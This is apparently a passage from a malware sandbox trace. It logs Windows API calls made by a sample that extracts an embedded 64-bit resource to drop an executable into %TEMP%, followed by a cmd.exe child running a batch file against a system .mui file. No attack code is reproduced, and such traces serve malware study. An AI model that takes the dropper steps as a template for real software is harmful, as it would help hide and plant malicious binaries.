¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.703] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0091.703] GetLastError () returned 0x0 [0091.703] SetLastError (dwErrCode=0x0) [0091.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.703] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0091.703] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0091.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿAÔ+´äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0091.703] GetLastError () returned 0x0 [0091.703] SetLastError (dwErrCode=0x0) [0091.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.704] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.704] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0091.704] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0091.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿAÔ+´äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0091.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x80) returned 0x589258 [0091.704] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0091.704] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0091.704] RtlSizeHeap (HeapHandle=0x570000, Flags=0x0, MemoryPointer=0x589258) returned 0x80 [0091.704] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0091.704] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0091.704] GetCurrentProcess () returned 0xffffffff [0091.704] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0091.704] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0091.704] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0091.704] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0091.705] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0091.705] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0091.705] LockResource (hResData=0x43c648) returned 0x43c648 [0091.705] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x589728 [0091.705] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0091.706] GetLastError () returned 0x20 [0091.706] GetLastError () returned 0x20 [0091.706] SetLastError (dwErrCode=0x20) [0091.706] GetLastError () returned 0x20 [0091.706] SetLastError (dwErrCode=0x20) [0091.706] GetLastError () returned 0x20 [0091.706] SetLastError (dwErrCode=0x20) [0091.706] GetLastError () returned 0x20 [0091.706] SetLastError (dwErrCode=0x20) [0091.706] GetLastError () returned 0x20 [0091.707] SetLastError (dwErrCode=0x20) [0091.707] GetLastError () returned 0x20 [0091.707] SetLastError (dwErrCode=0x20) [0091.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1000) returned 0x589748 [0091.707] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0091.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x588828 | out: hHeap=0x570000) returned 1 [0091.708] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0091.708] ExitProcess (uExitCode=0x1) [0091.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5870d0 | out: hHeap=0x570000) returned 1 Process: id = "168" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0xaa35000" os_pid = "0xd64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 728 os_tid = 0xd68 [0094.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x41fd24 | out: lpSystemTimeAsFileTime=0x41fd24*(dwLowDateTime=0xdbcbc120, dwHighDateTime=0x1d5d06a)) [0094.423] GetCurrentProcessId () returned 0xd64 [0094.423] GetCurrentThreadId () returned 0xd68 [0094.423] GetTickCount () returned 0x115f632 [0094.423] QueryPerformanceCounter (in: lpPerformanceCount=0x41fd1c | out: lpPerformanceCount=0x41fd1c*=23637520581) returned 1 [0094.424] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0094.424] __set_app_type (_Type=0x1) [0094.424] __p__fmode () returned 0x76be31f4 [0094.424] __p__commode () returned 0x76be31fc [0094.424] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4ab421a6) returned 0x0 [0094.424] __getmainargs (in: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c, _DoWildCard=0, _StartInfo=0x4ab44140 | out: _Argc=0x4ab44238, _Argv=0x4ab44240, _Env=0x4ab4423c) returned 0 [0094.424] GetCurrentThreadId () returned 0xd68 [0094.424] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd68) returned 0x60 [0094.424] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0094.424] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0094.424] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.425] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0094.425] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x41fcb4 | out: phkResult=0x41fcb4*=0x0) returned 0x2 [0094.425] VirtualQuery (in: lpAddress=0x41fceb, lpBuffer=0x41fc84, dwLength=0x1c | out: lpBuffer=0x41fc84*(BaseAddress=0x41f000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0094.425] VirtualQuery (in: lpAddress=0x320000, lpBuffer=0x41fc84, dwLength=0x1c | out: lpBuffer=0x41fc84*(BaseAddress=0x320000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0094.425] VirtualQuery (in: lpAddress=0x321000, lpBuffer=0x41fc84, dwLength=0x1c | out: lpBuffer=0x41fc84*(BaseAddress=0x321000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0094.425] VirtualQuery (in: lpAddress=0x323000, lpBuffer=0x41fc84, dwLength=0x1c | out: lpBuffer=0x41fc84*(BaseAddress=0x323000, AllocationBase=0x320000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0094.425] VirtualQuery (in: lpAddress=0x420000, lpBuffer=0x41fc84, dwLength=0x1c | out: lpBuffer=0x41fc84*(BaseAddress=0x420000, AllocationBase=0x420000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0094.425] GetConsoleOutputCP () returned 0x1b5 [0094.425] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0094.425] SetConsoleCtrlHandler (HandlerRoutine=0x4ab3e72a, Add=1) returned 1 [0094.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.425] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0094.426] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.426] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 1 [0094.426] _get_osfhandle (_FileHandle=1) returned 0x7 [0094.426] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0094.426] _get_osfhandle (_FileHandle=0) returned 0x3 [0094.426] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0094.427] _get_osfhandle (_FileHandle=0) returned 0x3 [0094.427] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0094.427] GetEnvironmentStringsW () returned 0x854068* [0094.427] GetProcessHeap () returned 0x840000 [0094.427] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xaca) returned 0x854b40 [0094.427] FreeEnvironmentStringsW (penv=0x854068) returned 1 [0094.428] GetProcessHeap () returned 0x840000 [0094.428] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0x4) returned 0x850d20 [0094.428] GetEnvironmentStringsW () returned 0x854068* [0094.428] GetProcessHeap () returned 0x840000 [0094.428] RtlAllocateHeap (HeapHandle=0x840000, Flags=0x8, Size=0xaca) returned 0x855618 [0094.428] FreeEnvironmentStringsW (penv=0x854068) returned 1 [0094.428] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ec24 | out: phkResult=0x41ec24*=0x68) returned 0x0 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x0, lpData=0x41ec30*=0x0, lpcbData=0x41ec28*=0x1000) returned 0x2 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x1, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x0, lpData=0x41ec30*=0x1, lpcbData=0x41ec28*=0x1000) returned 0x2 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x0, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x40, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x40, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x0, lpData=0x41ec30*=0x40, lpcbData=0x41ec28*=0x1000) returned 0x2 [0094.428] RegCloseKey (hKey=0x68) returned 0x0 [0094.428] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x41ec24 | out: phkResult=0x41ec24*=0x68) returned 0x0 [0094.428] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x0, lpData=0x41ec30*=0x40, lpcbData=0x41ec28*=0x1000) returned 0x2 [0094.429] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x1, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.429] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x0, lpData=0x41ec30*=0x1, lpcbData=0x41ec28*=0x1000) returned 0x2 [0094.429] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x41ec2c, lpData=0x41ec30, lpcbData=0x41ec28*=0x1000 | out: lpType=0x41ec2c*=0x4, lpData=0x41ec30*=0x0, lpcbData=0x41ec28*=0x4) returned 0x0 [0094.429] 